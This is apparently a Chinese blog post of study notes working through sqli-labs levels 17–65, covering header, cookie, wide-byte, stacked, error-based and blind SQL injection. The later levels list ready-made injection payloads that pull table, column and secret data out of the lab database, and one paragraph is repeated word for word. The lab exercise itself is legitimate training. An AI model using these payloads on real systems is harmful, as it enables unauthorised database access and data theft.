web第五周

文章详细描述了一系列关于Less编程环境下的SQL注入挑战,涉及密码重置、头注入、Cookie注入、编码解码、参数污染、盲注方法、WAF绕过、堆叠注入、时间盲注等技术,展示了逐步破解的过程和编码技巧。
摘要由CSDN通过智能技术生成

17.less17

 发现提示password reset,说明和密码有关

与前面题目的区别就是需要再密码栏输入,而不是在账号中输入

18.less18

 

网站记录了信息,想到头注入

请求头和响应头

19.less19

与上一题区别是注入点从User-Agent到Referer

20.less20

输入账号密码,发现显示各个参数

同时发现cookie的提示信息不一样,注入点在cookie这里

 21.less21

输入admin,admin显示以下内容

 抓包,发现这道题的编码不太一样,需要用到解码

base64在线编码,uname编码不太一样

22.less22

与21基本一模一样,只是符号的区别,变成了""

23.less23

 有到了get传参

-- 报错

利用前面的内容不再可以进行sql注入

改变输入内容

区别是-- 变成了 '1' = 1

24.less24

二次注入

变成了post传参,页面也出现了不小的变化

 注册并登录

 

 更改密码后发现admin也可以登陆了

25.less25

 这题的关键在于&&要用url编码成%26%26

还有一个关键点就是information里面的or会被替换,所以可以写成infoorrmation;

26.less26

正常进行sql注入,发现还是不行,查看源码

发现许多符号都被替换了

\s 替换所有空格

用%a0来代替所有空格

或者用%0a

或者用(),利用括号来隔开

27.less27

 

发现有许多黑名单

可以进行大小写改变

28.less28

发现不区分大小写

 换成盲注,union select不可以

29.less29

 参数污染

其实这道题用之前的方式是可以做出来的,但是经过查阅资料,这题主要考察参数污染

HTTP参数污染-CSDN博客

30.less30

盲注-缺乏证据的不匹配-在web应用程序前面有一个WAF。
测试发现" 报错
0" union select 1,2,database() --+
测试发现上面的同样可以过waf
id=1&id=0" union select 1,2,database() --+ 


31.less31

盲注-缺乏证据的不匹配-在web应用程序前面有一个WAF。
判断发现可以通过") --+ 闭合
id=1&id=0")  union select 1,2,database() --+
 

32.less32

注入输入单引号尝试闭合的时候发现被加上了!转义掉了,于是我们去查看源码,发现他下面确实写了一个简单的过滤,既然这里不能直接闭合我们一般思路就是想办法去掉这个l不让他生效,看到他源码下设置了一下编码,突然想到了宽字节绕过,他的原理很简单,就是利用了数据库和页面编码不同的问题,PHP发送请求到mysql时经过一次gbk编码,因为GBK是双字节编码,所以我们提交的%df这个字符和转译的反斜杠组成了新的汉字,然后数据库处理的时候是根据GBK去处理的,然后单引号就逃逸了出来 注入输入单引号尝试闭合的时候发现被加上了!转义掉了,于是我们去查看源码,发现他下面确实写了一个简单的过滤,既然这里不能直接闭合我们一般思路就是想办法去掉这个L不让他生效,看到他源码下设置了一下编码,突然想到了宽字节绕过,他的原理很简单,就是利用了数据库和页面编码不同的问题,PHP发送请求到MySQL时经过一次GBK编码,因为编码,因为是双字节编码,所以我们提交的%DF这个字符和转译的反斜杠组成了新的汉字,然后数据库处理的时候是根据GBK去处理的,然后单引号就逃逸了出来

但是判断列名不能用以上的语句,可以换成database()

33.less33

 

 与32区别就是一个是手动过滤,一个是用到了函数

34.less34

 又回到了post传参

想用上一题的方法

用burpsuite进行传参

 也可以用汉字来绕过

35.less35

试过发现这题

发现没有闭合

36.less36

 用到了这个函数

37.less37

 

38.less38

层次化查询

可以用显错去做,但是经查询,这题的知识点主要是堆叠注入

39.less39

40.less40

41.less41

这三题与less38大同小异,都是堆叠注入,都是闭合不一样

42.less42

特别像二次输入的靶场

 报错注入

43.less43

看起来和42差不多

 与上一题一样,只是闭合的区别

44.less44

与42题很像,但是不能用报错注入了

进行盲注

 45.less45

 依旧是堆叠注入,与44题一样,只不过闭合不一样,变成了)

46.less46

又是get传参

传入参数sort,出现如下界面

尝试注入

输入不同,得到排序不同

 想到了order by

但是order by 不能与union一起使用,从而改变想法

用concat来就可以了

47.less47

同样和46一样,只是闭合的区别

48.less48

发现不能用报错注入,也不能用盲注

开始考虑时间盲注

49.less49

闭合方式不同,其他相同

 50.less50

可以报错注入,可以堆叠注入

51.less51

 与上一题一样,同样是闭合的区别’

52.less52

依旧是换了闭合再换注入方式,这题用到的是盲注

53.less53

又换了一种闭合方式

less54-less65

54.只能尝试10次

超过10次回提示并且刷新

判断是否存在注入以及闭合:'and 1=2 -- qwe

判断字段数:'order by  1-- qwe

判断显错位:'union select 1,2,3 -- qwe

判断表:'union select 1,table_name,3 from information_schema.tables where table_schema=database() -- qwe

判断列名:'union select 1,group_concat(column_name),3 from information_schema. columns where table_schema=database() and table_name='jg9njybt72' -- qwe

判断具体数据:'union select 1, group_concat(secret_EK84),3 from jg9njybt72 -- qwe

 55.

判断是否存在注入以及闭合:)and 1=2 -- qwe

判断字段数:)order by  1-- qwe

判断显错位:)union select 1,2,3 -- qwe

判断表:)union select 1,table_name,3 from information_schema.tables where table_schema=database() -- qwe

判断列名:)union select 1,group_concat(column_name),3 from information_schema. columns where table_schema=database() and table_name='jg9njybt72' -- qwe

判断具体数据:)union select 1, group_concat(secret_EK84),3 from jg9njybt72 -- qwe

56. 

判断是否存在注入以及闭合:')and 1=2 -- qwe

判断字段数:')order by  1-- qwe

判断显错位:')union select 1,2,3 -- qwe

判断表:')union select 1,table_name,3 from information_schema.tables where table_schema=database() -- qwe

判断列名:')union select 1,group_concat(column_name),3 from information_schema. columns where table_schema=database() and table_name='jg9njybt72' -- qwe

判断具体数据:')union select 1, group_concat(secret_EK84),3 from jg9njybt72 -- qwe

57.

判断是否存在注入以及闭合:"and 1=2 -- qwe

判断字段数:"order by  1-- qwe

判断显错位:"union select 1,2,3 -- qwe

判断表:"union select 1,table_name,3 from information_schema.tables where table_schema=database() -- qwe

判断列名:"union select 1,group_concat(column_name),3 from information_schema. columns where table_schema=database() and table_name='jg9njybt72' -- qwe

判断具体数据:"union select 1, group_concat(secret_EK84),3 from jg9njybt72 -- qwe 

58.

查表:'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)

查列:'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='9avnx1khkg'),0x7e),1)

查数据:'and updatexml(1,(concat(0x7e,(select secret_5HUW from 9avnx1khkg),0x7e)),1) -- qwe 

59.

查表:and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)

查列:and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='zwvfx62mzk'),0x7e),1)

查数据:and updatexml(1,(concat(0x7e,(select secret_TXWF from zwvfx62mzk),0x7e)),1) -- qwe 

60.

查表:")and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) -- qwe

查列:")and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='3s8duz4pa9'),0x7e),1) -- qwe

查数据:")and updatexml(1,(concat(0x7e,(select secret_9RFA from 3s8duz4pa9),0x7e)),1) -- qwe 

61.

查表:'))and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) -- qwe

列:'))and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='y7rqnt6tpp'),0x7e),1) -- qwe

查数据:'))and updatexml(1,(concat(0x7e,(select secret_GR2F from y7rqnt6tpp),0x7e)),1) -- qwe 

62.

')and length((select table_name from information_schema.tables where table_schema=database()))>1 -- qwe(布尔盲注得出表长度)

')and if(length((select table_name from information_schema.tables where table_schema=database()))>1,sleep(5),1)-- qwe(时间盲注得出表长度)

')and if(substr((select table_name from information_schema.tables where table_schema=database()),1,1)='a',sleep(5),1)-- qwe(判断表的具体字符串)

')and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name=上面查询出来的表),1,1)='a',sleep(5),1)-- qwe (判断列的具体字符串) 

63.

'and length((select table_name from information_schema.tables where table_schema=database()))>1 -- qwe(布尔盲注得出表长度)

'and if(length((select table_name from information_schema.tables where table_schema=database()))>1,sleep(5),1)-- qwe(时间盲注得出表长度)

'and if(substr((select table_name from information_schema.tables where table_schema=database()),1,1)='a',sleep(5),1)-- qwe(判断表的具体字符串)

'and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name=上面查询出来的表),1,1)='a',sleep(5),1)-- qwe (判断列的具体字符串) 

64. 

))and length((select table_name from information_schema.tables where table_schema=database()))>1 -- qwe(布尔盲注得出表长度)

))and if(length((select table_name from information_schema.tables where table_schema=database()))>1,sleep(5),1)-- qwe(时间盲注得出表长度)

))and if(substr((select table_name from information_schema.tables where table_schema=database()),1,1)='a',sleep(5),1)-- qwe(判断表的具体字符串)

))and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name=上面查询出来的表),1,1)='a',sleep(5),1)-- qwe (判断列的具体字符串) 

65.

")and length((select table_name from information_schema.tables where table_schema=database()))>1 -- qwe(布尔盲注得出表长度)

")and if(length((select table_name from information_schema.tables where table_schema=database()))>1,sleep(5),1)-- qwe(时间盲注得出表长度)

")and if(substr((select table_name from information_schema.tables where table_schema=database()),1,1)='a',sleep(5),1)-- qwe(判断表的具体字符串)

")and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name=上面查询出来的表),1,1)='a',sleep(5),1)-- qwe (判断列的具体字符串) 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值